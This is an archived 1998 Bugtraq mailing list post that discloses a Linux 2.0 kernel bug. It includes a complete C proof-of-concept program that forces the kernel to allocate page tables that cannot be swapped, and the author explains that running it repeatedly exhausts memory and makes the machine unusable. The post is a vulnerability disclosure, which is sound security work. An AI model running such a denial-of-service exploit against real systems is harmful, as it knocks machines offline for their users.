Home page logo
/

bugtraq logo Bugtraq mailing list archives

linux 2.0 PTE bug
From: p6mip300 () INFOP6 CICRP JUSSIEU FR (XXX_p6mip300)
Date: Mon, 25 May 1998 13:51:42 +0200


Hi all,

there is the program :
--------------------------------------------------------------------------
/* the pte bug - Sed hacking linux kernel, 24 may 1998 */

unsigned long address;
int touch_me;
int fd;

#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void the_handler(int x)
{
  signal(SIGSEGV, the_handler);

  touch_me++;

  if(mmap((void *)address, 4, PROT_READ,
        MAP_FIXED|MAP_PRIVATE, fd, 0)==(void *)-1) {
    perror("mmap");
    exit(1);
  }
}

void main(void)
{
  /* volatile to fool GCC, we _WANT_ access *address */
  volatile unsigned long i;

  fd=open("pte.c", O_RDONLY);
  if (fd==-1) {
    perror("open");
    exit(1);
  }

  signal(SIGSEGV, the_handler);

  /* 3*1024*1024*1024 = TASK_SIZE,
   * 1024*4096 = number of bytes one pte can map */
  for (address=0; address<3*1024*1024*1024; address+=1024*4096) {
    i=*(unsigned long *)address;
    if (touch_me) {
      touch_me=0;
      munmap((void *)address, 4);
    }
  }

  while(1)
    pause();
}
-----------------------------------------------------------------------

The idea is to take a lot of memory. So, we map all our virtual pages,
to force the system to allow all the pte (am talking about PC box).
So, the process will have allocated 768 pages that will never be
swapped (that's the crucial point).

So, that's simple, you run this program as much time as you need to take
all the memory, and the PC won't be usable anymore (for my 64Mb box,
i need to run it about 20 times).

And then, you can have a wonderful light-show with your HD-led :) (PC will
spend its time in swapping).

How to solve it ?
Well, we could swap the pgd / pmd / pte, but i really don't know
if it is possible or what.

If this bug is already well know, am sorry to disturb with it.

It applies only on the 2.0 kernel, for the 2.1 (soon 2.2) i don't know
if it works, will have to read the source.

Sed.
p6mip300 () infop6 cicrp jussieu fr 



  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault